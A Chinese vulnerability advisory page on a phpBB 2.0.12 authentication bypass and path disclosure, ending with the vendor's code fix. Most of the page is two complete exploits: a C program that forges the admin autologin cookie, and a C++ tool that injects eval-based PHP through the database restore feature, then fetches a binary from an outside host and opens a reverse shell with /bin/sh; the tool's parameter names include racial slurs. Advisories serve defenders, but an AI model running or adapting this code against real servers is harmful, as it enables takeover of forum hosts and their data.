首页 -> 安全研究

安全研究

安全漏洞
phpBB 2.0.12非法获取管理员权限及路径泄露漏洞

发布日期:2005-03-02
更新日期:2005-03-04

受影响系统:
phpBB Group phpBB 2.0.12
不受影响系统:
phpBB Group phpBB 2.0.13
描述:
BUGTRAQ  ID: 12678
CVE(CAN) ID: CVE-2005-0614,CVE-2005-0603

phpBB是一种用PHP语言实现的基于Web脚本的开放源码论坛程序,使用较为广泛。

phpBB 2.0.12版本中存在两个安全漏洞,其中一个很严重,允许任意用户都可以获取管理权限,另外一个漏洞会导致服务器路径泄露。

第一个漏洞存在于includes/sessions.php文件中,其对$sessiondata['autologinid']变量的类型及比较操作存在问题,远程攻击者可以通过伪造特别的变量值使用判断用户合法性的操作始终返回真,从而使用任意用户可以在不知道口令的情况下以管理员的身份认证成功。第二个漏洞在于viewtopic.php文件中,由于对消息的过滤不充分,使路径泄露成为可能。

<*来源:federico gonzales (elrengo94@hotmail.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110970201920206&w=2
        http://www.phpbb.com/phpBB/viewtopic.php?t=267563
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
Author: Paisterist
Date: 28-02-05
[N]eo [S]ecurity [T]eam &copy;

描述:这个攻击程序可以修改cookies.txt(Firefox和Mozilla)文件中的用户ID。你必须要登陆到没有选定autologin选项的论坛,然后关闭导航器,执行攻击。

注意:必须将攻击代码放置在cookies.txt的同一目录内。攻击可以覆盖指定了用户ID的所有phpbb cookies。

By Paisterist

http://neosecurityteam.net
http://neosecurityteam.tk

Greetz: Hackzatan, Crashcool, Towner, Daemon21, Wokkko, Maxx, Arcanhell, Alluz.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char** argv[]) {
    FILE *pointer;
    char contenido[10000],
    cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22us \
erid%22%3Bs%3A1%3A%22",   cookief[9]="%22%3B%7D", cookiec[106],
    cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22useri \
                d%22%3Bs%3A1%3A%222%22%3B%7D",
    *pos;
    int p=0, i=0;
    
    if (argc!=2) {
       printf("Usage: phpbb_exploit.exe user_id\n\n");
       exit(0);
    }
    pointer=fopen("cookies.txt", "r");
    
    if (pointer) {
       fread(contenido, 300, 10, pointer);
       fclose(pointer);
    } else {
           printf("The file can't be open\n");
           exit(0);
    }
    
    strcpy(cookiec, cookie);
    strncat(cookiec, argv[1], 6);
    strcat(cookiec, cookief);
    
    if (pos=strstr(contenido, cookiec)) {
    p=pos - contenido;
        while (i<92) {
              if (cookie_false[i]!=NULL)
        contenido[p]=cookie_false[i];
        p++;
        i++;
        }
    }
    else {
         printf("The file cookies.txt isn't valid for execute the exploit or the user \
id is incorrect\n");  exit(0);
    }
        
    if (pointer=fopen("cookies.txt", "w")) {
    fputs(contenido, pointer);
    printf("Cookie modified: \n\n%s\n\n", contenido);
    printf("The cookies file has overwriten... looks like the exploit has worked");
    } else printf("\n\nThe file cookies.txt has not write permissions.");
    return 0;
}

/*
coded by overdose phpbb <= 2.0.12
slythers@gmail.com
C:\source\phpbbexp>bcc32 -c serv.cpp
Borland C++ 5.5.1 for Win32 Copyright (c) 1993, 2000 Borland
serv.cpp:
Warning W8060 serv.cpp 77: Possibly incorrect assignment in function serveur::co
nnectsocket(char *,unsigned short)

C:\source\phpbbexp>bcc32 phpbbexp.cpp serv.obj
Borland C++ 5.5.1 for Win32 Copyright (c) 1993, 2000 Borland
phpbbexp.cpp:
Turbo Incremental Link 5.00 Copyright (c) 1997, 2000 Borland

C:\source\phpbbexp>

je cherche un job au passage :>
*/
#include <iostream.h>
#include <winsock.h>
#include "serv.h"

#define SHELL "$a=fopen(\"http://img58.exs.cx/img58/1584/nc4hk.swf\",\"r\");
$b=\"\";while(!feof($a)){$b%20.=%20fread($a,200000);};fclose($a);
$a=fopen(\"/tmp/.sess_\",\"w\");fwrite($a,$b);fclose($a);
chmod(\"/tmp/.sess_\",0777);system(\"/tmp/.sess_%20\".$_REQUEST[niggaip]
.\"%20\".$_REQUEST[niggaport].\"%20-e%20/bin/sh\");"

#define HTTP_PORT 80
#define DEFAULT_COOKIE "phpbb2mysql"
#define SIGNATURE_SESSID "Set-Cookie: "
#define BOUNDARY "----------g7pEbdXsWGPB7wRFGrqA1g"
#define UP_FILE "------------g7pEbdXsWGPB7wRFGrqA1g\nContent-Disposition:
form-data; name=\"restore_start\"\n\npetass\n------------g7pEbdXsWGPB7wRFGrqA1g\
nContent-Disposition: form-data; name=\"perform\"\n\nrestore\n------------g7pEbd
XsWGPB7wRFGrqA1g\nContent-Disposition: form-data; name=\"backup_file\";
filename=\"phpbb_db_backup.sql\"\nContent-Type: text/sql\n\n"
#define UP_FILE_END "\n------------g7pEbdXsWGPB7wRFGrqA1g--\n"
#define EXP_TEMPLATES "mode=export&edit=Envoyer&export_template="
#define SIGNATURE_TABLE_NAME "DROP TABLE IF EXISTS "
#define SIGNATURE_TABLE_NAME_END "_config;"

#define SQL_TEMPLATES "DROP TABLE IF EXISTS "
#define SQL_TEMPLATES_2 "_themes;\nCREATE TABLE "
char *sql_templates_3 ="_themes("
"themes_id mediumint(8) unsigned NOT NULL auto_increment,"
"template_name varchar(150) NOT NULL,"
"style_name varchar(30) NOT NULL,"
"head_stylesheet varchar(100),"
"body_background varchar(100),"
"body_bgcolor varchar(6),"
"body_text varchar(6),"
"body_link varchar(6),"
"body_vlink varchar(6),"
"body_alink varchar(6),"
"body_hlink varchar(6),"
"tr_color1 varchar(6),"
"tr_color2 varchar(6),"
"tr_color3 varchar(6),"
"tr_class1 varchar(25),"
"tr_class2 varchar(25),"
"tr_class3 varchar(25),"
"th_color1 varchar(6),"
"th_color2 varchar(6),"
"th_color3 varchar(6),"
"th_class1 varchar(25),"
"th_class2 varchar(25),"
"th_class3 varchar(25),"
"td_color1 varchar(6),"
"td_color2 varchar(6),"
"td_color3 varchar(6),"
"td_class1 varchar(25),"
"td_class2 varchar(25),"
"td_class3 varchar(25),"
"fontface1 varchar(50),"
"fontface2 varchar(50),"
"fontface3 varchar(50),"
"fontsize1 tinyint(4),"
"fontsize2 tinyint(4),"
"fontsize3 tinyint(4),"
"fontcolor1 varchar(6),"
"fontcolor2 varchar(6),"
"fontcolor3 varchar(6),"
"span_class1 varchar(25),"
"span_class2 varchar(25),"
"span_class3 varchar(25),"
"img_size_poll smallint(5) unsigned,"
"img_size_privmsg smallint(5) unsigned,"
"PRIMARY KEY (themes_id)"
");";

#define SQL_FAKE_TEMPLATES "\nINSERT INTO "
#define SQL_FAKE_TEMPLATES_2 "_themes (themes_id, template_name, style_name,
head_stylesheet, body_background, body_bgcolor, body_text, body_link, body_vlink,
body_alink, body_hlink, tr_color1, tr_color2, tr_color3, tr_class1, tr_class2,
tr_class3, th_color1, th_color2, th_color3, th_class1, th_class2, th_class3,
td_color1, td_color2, td_color3, td_class1, td_class2, td_class3, fontface1,
fontface2, fontface3, fontsize1, fontsize2, fontsize3, fontcolor1, fontcolor2,
fontcolor3, span_class1, span_class2, span_class3, img_size_poll, img_size_privmsg)
VALUES(\'2\', \'"
//template_name varchar(30) NOT NULL,
#define FAKE_TEMPLATES_NAMES "aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();
// /../../../../../../../../../../../../../../../../../../../tmp"
#define SQL_FAKE_TEMPLATES_3 "\', \'FI Black\', \'fiblack.css\', \'\', \'\', \'\',
\'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\',
\'\', \'\', \'\', \'\', \'\', \'row1\', \'row2\', \'\', \'\', \'\', \'\', \'0\',
\'0\', \'0\', \'\', \'006699\', \'ffa34f\', \'cc\', \'bb\', \'a\', \'0\', \'0\');"
#define SQL_FAKE_TEMPLATES_4 "_themes (themes_id, template_name, style_name,
head_stylesheet, body_background, body_bgcolor, body_text, body_link, body_vlink,
body_alink, body_hlink, tr_color1, tr_color2, tr_color3, tr_class1, tr_class2,
tr_class3, th_color1, th_color2, th_color3, th_class1, th_class2, th_class3,
td_color1, td_color2, td_color3, td_class1, td_class2, td_class3, fontface1, fontface2,
fontface3, fontsize1, fontsize2, fontsize3, fontcolor1, fontcolor2, fontcolor3,
span_class1, span_class2, span_class3, img_size_poll, img_size_privmsg) VALUES
(\'1\', \'subSilver\', \'subSilver\', \'subSilver.css\',\'\', \'E5E5E5\', \'000000\',
\'006699\', \'5493B4\', \'\', \'DD6900\', \'EFEFEF\', \'DEE3E7\', \'D1D7DC\', \'\',
\'\', \'\', \'98AAB1\', \'006699\', \'FFFFFF\', \'cellpic1.gif\', \'cellpic3.gif\',
\'cellpic2.jpg\', \'FAFAFA\', \'FFFFFF\', \'\', \'row1\', \'row2\', \'\', \'Verdana,
Arial, Helvetica, sans-serif\', \'Trebuchet MS\', \'Courier, \\\'Courier New\\\',
sans-serif\', \'10\', \'11\', \'12\', \'444444\', \'006600\', \'FFA34F\', \'\',
\'\', \'\', NULL, NULL);"
#define SQL_FAKE_TEMPLATES_5 "\nUPDATE "
#define SQL_FAKE_TEMPLATES_6 "_config set config_value=\"1\" where config_name=\"default_style\";"

struct url{
char *dns;
char *uri;
unsigned short port;
};

struct url parseurl(char *of);
char * intostr(int erf);
void help();

int main(int argc,char *argv[])
{
char buff[1024];
char sid[33];
char oct;
char *cookiename;
char *ptr;
char *tablename = 0x00;
char *phpcode = SHELL;
bool flag;
unsigned int longbeach;
serveur http;
struct url victim;
WSAData wsadata;
if(WSAStartup(MAKEWORD(2, 0),&wsadata) != 0)
return 1;
if(argc < 4)
help();
cookiename= DEFAULT_COOKIE;
sid[0] = '\0';
victim = parseurl(argv[1]);
//detection du nom du cookie
http.createsocket();
if(!http.connectsocket(victim.dns,victim.port))
return 0;
http << "GET ";
http << victim.uri;
http << " HTTP/1.1\nHost: ";
http << victim.dns;
http << "\nReferer: ";
http << argv[1];
http << "\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\n
Connection: close\n\n";
do{
if(!http.getline(buff,1023))
buff[0] = 0x00;
if(!strncmp(buff,SIGNATURE_SESSID,sizeof(SIGNATURE_SESSID)-1))
{
ptr = buff + sizeof(SIGNATURE_SESSID)-1;
for(ptr; *ptr && (*ptr != '=');ptr++);
*ptr= '\0';
ptr -= 4;
if(!strncmp(ptr,"_sid",4))
{
*ptr = '\0';
ptr = buff + sizeof(SIGNATURE_SESSID)-1;
cookiename = new char[strlen(ptr)+1];
strcpy(cookiename,ptr);
cout << "_ nom du cookie recuperer : "<<cookiename<<endl;
buff[0] = '\0';
};
};
}while(buff[0]);
http.closesock();
http.createsocket();
if(!http.connectsocket(victim.dns,victim.port))
return 0;
//faille cookie uid
http << "GET ";
http << victim.uri;
http << " HTTP/1.1\nHost: ";
http << victim.dns;
http << "\nCookie: ";
http << cookiename;
http << "_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22
userid%22%3Bs%3A1%3A%222%22%3B%7D; expires=Fri, 24-Dec-2005 21:25:37 GMT; path=/; domain=";
http << victim.dns;
http << "\nReferer: ";
http << argv[1];
http << "\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nConnection: close\n\n";
do{
if(!http.getline(buff,1023))
buff[0] = 0x00;
if(!strncmp(buff,SIGNATURE_SESSID,sizeof(SIGNATURE_SESSID)-1))
{
ptr = buff + sizeof(SIGNATURE_SESSID)-1;
if((!strncmp(ptr,cookiename,strlen(cookiename))) && (!strncmp(&ptr[strlen(cookiename)],"_sid=",sizeof("_sid=")-1)))
{
ptr += strlen(cookiename) + sizeof("_sid=")-1;
strncpy(sid,ptr,32);
sid[32] = '\0';
};
};
}while(buff[0]);
if(!sid[0])
{
cout << "_ recuperation de l'identifiant de session a echouer"<<endl;
return 0;
};
cout << "_ SESSION ID recuper?... "<<sid<<endl<<argv[1]<<"?sid="<<sid<<endl;
http.closesock();
//recuperation du nom de la table
http.createsocket();
if(!http.connectsocket(victim.dns,victim.port))
return 0;
cout <<"_ recuperation du nom de la table sql ... ";
http << "GET ";
http << victim.uri;
http << "admin/admin_db_utilities.php?perform=backup&additional_tables=&backup_type=
structure&drop=1&backupstart=1&gzipcompress=0&startdownload=1&sid=";
http << sid;
http << " HTTP/1.1\nHost: ";
http << victim.dns;
http << "\nReferer: ";
http << argv[1];
http << "\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nConnection: close\n\n";
flag = 1;
while(flag)
{
flag = http.getline(buff,1023);
if(!strncmp(buff,SIGNATURE_TABLE_NAME,sizeof(SIGNATURE_TABLE_NAME)-1))
{
longbeach = strlen(buff);
ptr = buff + longbeach - (sizeof(SIGNATURE_TABLE_NAME_END)-1);
if(!strcmp(ptr,SIGNATURE_TABLE_NAME_END))
{
flag = 0;
*ptr= '\0';
ptr = buff + sizeof(SIGNATURE_TABLE_NAME) -1;
tablename = new char[strlen(ptr)+1];
strcpy(tablename,ptr);
};
};
};
http.closesock();
if(!tablename)
{
cout <<"can\'t find"<<endl;
return 0;
};
cout <<tablename << " OK"<<endl;
cout << "_ Injection de la fake templates ...";
http.createsocket();
if(!http.connectsocket(victim.dns,victim.port))
return 0;
http << "POST ";
http << victim.uri;
http << "admin/admin_db_utilities.php?sid=";
http << sid;
http << " HTTP/1.1\nHost: ";
http << victim.dns;
http << "\nReferer: ";
http << argv[1];
http << "\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nConnection: close, TE\r\nTE:
deflate, chunked, identify, trailers\r\nCache-Control: no-cache\r\nContent-Type: multipart/form-data;
boundary=" BOUNDARY "\nContent-Length: ";
http << intostr(strlen(sql_templates_3)+sizeof(SQL_TEMPLATES)-1+sizeof(SQL_TEMPLATES_2)-1+sizeof
(SQL_FAKE_TEMPLATES)-1+strlen(tablename)+sizeof(SQL_FAKE_TEMPLATES_2)-1+sizeof
(FAKE_TEMPLATES_NAMES)-1+sizeof(SQL_FAKE_TEMPLATES_3)-1+sizeof(SQL_FAKE_TEMPLATES)-1+
strlen(tablename)+sizeof(SQL_FAKE_TEMPLATES_4)-1+sizeof(SQL_FAKE_TEMPLATES_5)-1+
strlen(tablename)+sizeof(SQL_FAKE_TEMPLATES_6)-1+sizeof(UP_FILE_END)-1+sizeof(UP_FILE));
http << "\n\n" UP_FILE SQL_TEMPLATES;
http << tablename;
http << SQL_TEMPLATES_2;
http << tablename;
http << sql_templates_3;
http << SQL_FAKE_TEMPLATES;
http << tablename;
http << SQL_FAKE_TEMPLATES_4 SQL_FAKE_TEMPLATES_5;
http << tablename;
http << SQL_FAKE_TEMPLATES_6 SQL_FAKE_TEMPLATES;
http << tablename;
http << SQL_FAKE_TEMPLATES_2 FAKE_TEMPLATES_NAMES SQL_FAKE_TEMPLATES_3 UP_FILE_END ;
while(http.getnb(&oct,sizeof(char)));
cout <<"OK"<<endl;
ptr = new char[sizeof(FAKE_TEMPLATES_NAMES)];
strcpy(ptr,FAKE_TEMPLATES_NAMES);
for(int cpt = 0; ptr[cpt]!= '\0';cpt++)
{
if(ptr[cpt] == ' ')
ptr[cpt] = '+';
};
//creation de la page dans /tmp
http.closesock();
http.createsocket();
if(!http.connectsocket(victim.dns,victim.port))
return 0;
http << "POST ";
http << victim.uri;
http << "admin/admin_styles.php?mode=export&sid=";
http << sid;
http << " HTTP/1.1\nHost: ";
http << victim.dns;
http << "\nReferer: ";
http << argv[1];
http << "admin/admin_styles.php?mode=export\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1)\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: ";
http << intostr(strlen(ptr)+sizeof(EXP_TEMPLATES)-1);
http << "\n\n";
http << EXP_TEMPLATES;
http << ptr;
while(http.getnb(&oct,sizeof(char)));
cout << "_ Fichier cr閑"<<endl;
//appelle de la page avec le code php
http.closesock();
http.createsocket();
if(!http.connectsocket(victim.dns,victim.port))
return 0;
http << "GET ";
http << victim.uri;
http << "admin/admin_styles.php?mode=addnew&install_to=../../../../../../../../../../../../../../../../../../../tmp&sid=";
http << sid;
http << "&niggaip=";
http << argv[2];
http << "&niggaport=";
http << argv[3];
http << "&nigga=";
http << phpcode;
http << " HTTP/1.1\nHost: ";
http << victim.dns;
http << "\nReferer: ";
http << argv[1];
http << "\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nConnection: close\n\n";
while(http.getnb(&oct,sizeof(char)));
cout << "_ Code execut?quot;<<endl<<argv[1]<<"admin/admin_styles.php?mode=addnew&install_to
=../../../../../../../../../../../../../../../../../../../tmp&nigga=phpinfo();&sid="<<sid<<endl;
delete[] ptr;
return 0;
}

struct url parseurl(char *of)
{
struct url retour;
unsigned int taille;
char tmp;
retour.dns = 0x00;
retour.uri = 0x00;
retour.port = HTTP_PORT ;
while( *of && (*of != ':'))
of++;
if(*of && *(of+1) && *(of+2))
{
if((*(of+1) != '/') || (*(of+2) != '/'))
return retour;
of += 3;
for(taille = 0; (of[taille] != '/') && (of[taille] != '\0') && (of[taille] != ':');taille++);
retour.dns = new char [taille+1];
memcpy(retour.dns,of,taille);
retour.dns[taille] = '\0';
of += taille;
if(*of == ':')
{
of++;
for(taille = 0; (of[taille] != '/') && (of[taille] != '\0');taille++);
tmp = of[taille];
of[taille] = '\0';
if(taille)
retour.port = atoi(of);
of[taille] = tmp;
of += taille;
};
if(!*of)
{
retour.uri = new char[2];
strcpy(retour.uri,"/");
}
else
{
retour.uri = new char [strlen(of)+1];
strcpy(retour.uri,of);
};
};
return retour;
}

char * intostr(int erf)
{
char *chaine;
int puissance;
int erf2;
if( erf >= 0)
{
puissance =0;
for(int kekette = 1;kekette<=erf;kekette = kekette*10)
{
puissance++;
};
if (puissance == 0)
{
puissance = 1;
};
chaine = new char[puissance+1];
chaine[puissance] ='\0';
for(int arf = puissance-1;arf >=0;arf--)
{
erf2 = erf % 10 ;
chaine[arf] = '0' + erf2;
erf = erf /10;
};
return chaine;
}
else
return 0;
}

void help()
{
cout << "phpbbexp.exe http://site.com/phpbb/ [backshell ip] [backshell port]"<<endl;
cout << "coded by Malloc(0) Wicked Attitude"<<endl;
cout << "phpbb <= 2.0.12 uid vuln + admin_styles.php exploit"<<endl;
exit(0);
}

建议:
厂商补丁:

phpBB Group
-----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.phpbb.com/downloads.php

也可按照如下方法修复:

1 获取管理权限漏洞

打开includes/sessions.php

请找到以下代码:
if( $sessiondata['autologinid'] == $auto_login_key )

替换为:
if( $sessiondata['autologinid'] === $auto_login_key )

2 路径泄漏漏洞

打开viewtopic.php

请找到以下代码:
$message = str_replace('\"', '"', substr(preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se', "preg_replace('#\b(" . $highlight_match . ")\b#i', '<span style=\"color:#" . $theme['fontcolor3'] . "\"><b>\\\\1</b></span>', '\\0')", '>' . $message . '<'), 1, -1));

替换为:
$message = str_replace('\"', '"', substr(@preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se', "@preg_replace('#\b(" . $highlight_match . ")\b#i', '<span style=\"color:#" . $theme['fontcolor3'] . "\"><b>\\\\1</b></span>', '\\0')", '>' . $message . '<'), 1, -1));

浏览次数:8485
严重程度:5(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障